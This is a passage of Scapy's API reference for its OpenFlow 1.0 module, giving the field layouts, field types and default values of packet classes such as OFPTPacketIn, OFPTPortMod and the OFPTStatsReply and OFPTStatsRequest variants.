	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BUFFER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TOTAL LEN           |            IN PORT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     REASON    |      PAD      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTPacketIn                         


OFPTPacketIn fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	10



	len

	ShortField

	None



	xid

	IntField

	0



	buffer_id

	IntEnumField

	4294967295



	total_len

	ShortField

	0



	in_port

	ShortEnumField

	0



	reason

	ByteEnumField

	0



	pad

	XByteField

	0



	data

	PacketField

	None















	
class scapy.contrib.openflow.OFPTPacketOut(_pkt, /, *, version=1, type=13, len=None, xid=0, buffer_id=4294967295, in_port=65535, actions_len=None, actions=[], data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L828-L840]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BUFFER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IN PORT            |          ACTIONS LEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ACTIONS            |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTPacketOut                        


OFPTPacketOut fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	13



	len

	ShortField

	None



	xid

	IntField

	0



	buffer_id

	IntEnumField

	4294967295



	in_port

	ShortEnumField

	65535



	actions_len

	FieldLenField

	None



	actions

	PacketListField

	[]



	data

	PacketField

	None















	
class scapy.contrib.openflow.OFPTPortMod(_pkt, /, *, version=1, type=15, len=None, xid=0, port_no=0, hw_addr='0', config=<Flag 0 ()>, mask=<Flag 0 ()>, advertise=<Flag 0 ()>, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L869-L880]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PORT NO            |            HW ADDR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CONFIG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ADVERTISE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPTPortMod                         


OFPTPortMod fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	15



	len

	ShortField

	None



	xid

	IntField

	0



	port_no

	ShortEnumField

	0



	hw_addr

	MACField

	'0'



	config

	FlagsField

	<Flag 0 ()>



	mask

	FlagsField

	<Flag 0 ()>



	advertise

	FlagsField

	<Flag 0 ()>



	pad

	IntField

	0















	
class scapy.contrib.openflow.OFPTPortStatus(_pkt, /, *, version=1, type=12, len=None, xid=0, reason=0, pad=0, desc=<OFPPhyPort  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L815-L825]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     REASON    |                      PAD                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DESC             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPTPortStatus                        


OFPTPortStatus fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	12



	len

	ShortField

	None



	xid

	IntField

	0



	reason

	ByteEnumField

	0



	pad

	XBitField  (56 bits)

	0



	desc

	PacketField

	<OFPPhyPort  |>















	
class scapy.contrib.openflow.OFPTQueueGetConfigReply(_pkt, /, *, version=1, type=21, len=None, xid=0, port=0, pad=0, queues=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1189-L1198]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PORT             |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QUEUES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPTQueueGetConfigReply                   


OFPTQueueGetConfigReply fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	21



	len

	ShortField

	None



	xid

	IntField

	0



	port

	ShortEnumField

	0



	pad

	XBitField  (48 bits)

	0



	queues

	PacketListField

	[]















	
class scapy.contrib.openflow.OFPTQueueGetConfigRequest(_pkt, /, *, version=1, type=20, len=None, xid=0, port=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1179-L1186]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PORT             |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. OFPTQueueGetConfigRequest                  


OFPTQueueGetConfigRequest fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	20



	len

	ShortField

	None



	xid

	IntField

	0



	port

	ShortEnumField

	0



	pad

	XShortField

	0















	
class scapy.contrib.openflow.OFPTSetConfig(_pkt, /, *, version=1, type=9, len=None, xid=0, flags=0, miss_send_len=128)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L766-L776]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLAGS             |         MISS SEND LEN         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTSetConfig                        


OFPTSetConfig fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	9



	len

	ShortField

	None



	xid

	IntField

	0



	flags

	ShortEnumField

	0



	miss_send_len

	ShortField

	128















	
class scapy.contrib.openflow.OFPTStatsReplyAggregate(_pkt, /, *, version=1, type=17, len=None, xid=0, stats_type=2, flags=<Flag 0 ()>, packet_count=0, byte_count=0, flow_count=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L982-L993]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          PACKET COUNT                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BYTE COUNT                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           FLOW COUNT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPTStatsReplyAggregate                   


OFPTStatsReplyAggregate fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	17



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	2



	flags

	FlagsField

	<Flag 0 ()>



	packet_count

	LongField

	0



	byte_count

	LongField

	0



	flow_count

	IntField

	0



	pad

	XIntField

	0















	
class scapy.contrib.openflow.OFPTStatsReplyDesc(_pkt, /, *, version=1, type=17, len=None, xid=0, stats_type=0, flags=<Flag 0 ()>, mfr_desc=b'', hw_desc=b'', sw_desc=b'', serial_num=b'', dp_desc=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L907-L919]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            MFR DESC                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
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|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            HW DESC                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
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+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SW DESC                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
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|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SERIAL NUM                          |
+                                                               +
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                     Fig. OFPTStatsReplyDesc                      


OFPTStatsReplyDesc fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	17



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	0



	flags

	FlagsField

	<Flag 0 ()>



	mfr_desc

	StrFixedLenField

	b''



	hw_desc

	StrFixedLenField

	b''



	sw_desc

	StrFixedLenField

	b''



	serial_num

	StrFixedLenField

	b''



	dp_desc

	StrFixedLenField

	b''















	
class scapy.contrib.openflow.OFPTStatsReplyFlow(_pkt, /, *, version=1, type=17, len=None, xid=0, stats_type=1, flags=<Flag 0 ()>, flow_stats=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L965-L974]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FLOW STATS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTStatsReplyFlow                      


OFPTStatsReplyFlow fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	17



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	1



	flags

	FlagsField

	<Flag 0 ()>



	flow_stats

	PacketListField

	[]















	
class scapy.contrib.openflow.OFPTStatsReplyPort(_pkt, /, *, version=1, type=17, len=None, xid=0, stats_type=4, flags=<Flag 0 ()>, port_stats=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1079-L1088]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PORT STATS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTStatsReplyPort                      


OFPTStatsReplyPort fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	17



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	4



	flags

	FlagsField

	<Flag 0 ()>



	port_stats

	PacketListField

	[]















	
class scapy.contrib.openflow.OFPTStatsReplyQueue(_pkt, /, *, version=1, type=17, len=None, xid=0, stats_type=5, flags=<Flag 0 ()>, port_no=65535, pad=0, queue_id=4294967295, tx_bytes=0, tx_packets=0, tx_errors=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1104-L1117]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PORT NO            |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            QUEUE ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            TX BYTES                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TX PACKETS                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TX ERRORS                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTStatsReplyQueue                     


OFPTStatsReplyQueue fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	17



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	5



	flags

	FlagsField

	<Flag 0 ()>



	port_no

	ShortEnumField

	65535



	pad

	XShortField

	0



	queue_id

	IntEnumField

	4294967295



	tx_bytes

	LongField

	0



	tx_packets

	LongField

	0



	tx_errors

	LongField

	0















	
class scapy.contrib.openflow.OFPTStatsReplyTable(_pkt, /, *, version=1, type=17, len=None, xid=0, stats_type=3, flags=<Flag 0 ()>, table_stats=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1033-L1042]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          TABLE STATS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTStatsReplyTable                     


OFPTStatsReplyTable fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	17



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	3



	flags

	FlagsField

	<Flag 0 ()>



	table_stats

	PacketListField

	[]















	
class scapy.contrib.openflow.OFPTStatsReplyVendor(_pkt, /, *, version=1, type=17, len=None, xid=0, stats_type=6, flags=<Flag 0 ()>, vendor=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1131-L1139]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             VENDOR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPTStatsReplyVendor                     


OFPTStatsReplyVendor fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	17



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	6



	flags

	FlagsField

	<Flag 0 ()>



	vendor

	IntField

	0















	
class scapy.contrib.openflow.OFPTStatsRequestAggregate(_pkt, /, *, version=1, type=16, len=None, xid=0, stats_type=2, flags=<Flag 0 ()>, match=<OFPMatch  |>, table_id=255, pad=0, out_port=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L977-L979]

	Bases: OFPTStatsRequestFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MATCH             |    TABLE ID   |      PAD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OUT PORT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. OFPTStatsRequestAggregate                  


OFPTStatsRequestAggregate fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	16



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	2



	flags

	FlagsField

	<Flag 0 ()>



	match

	PacketField

	<OFPMatch  |>



	table_id

	ByteEnumField

	255



	pad

	ByteField

	0



	out_port

	ShortEnumField

	65535















	
class scapy.contrib.openflow.OFPTStatsRequestDesc(_pkt, /, *, version=1, type=16, len=None, xid=0, stats_type=0, flags=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L897-L904]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPTStatsRequestDesc                     


OFPTStatsRequestDesc fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	16



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	0



	flags

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.openflow.OFPTStatsRequestFlow(_pkt, /, *, version=1, type=16, len=None, xid=0, stats_type=1, flags=<Flag 0 ()>, match=<OFPMatch  |>, table_id=255, pad=0, out_port=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L922-L933]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MATCH             |    TABLE ID   |      PAD      |
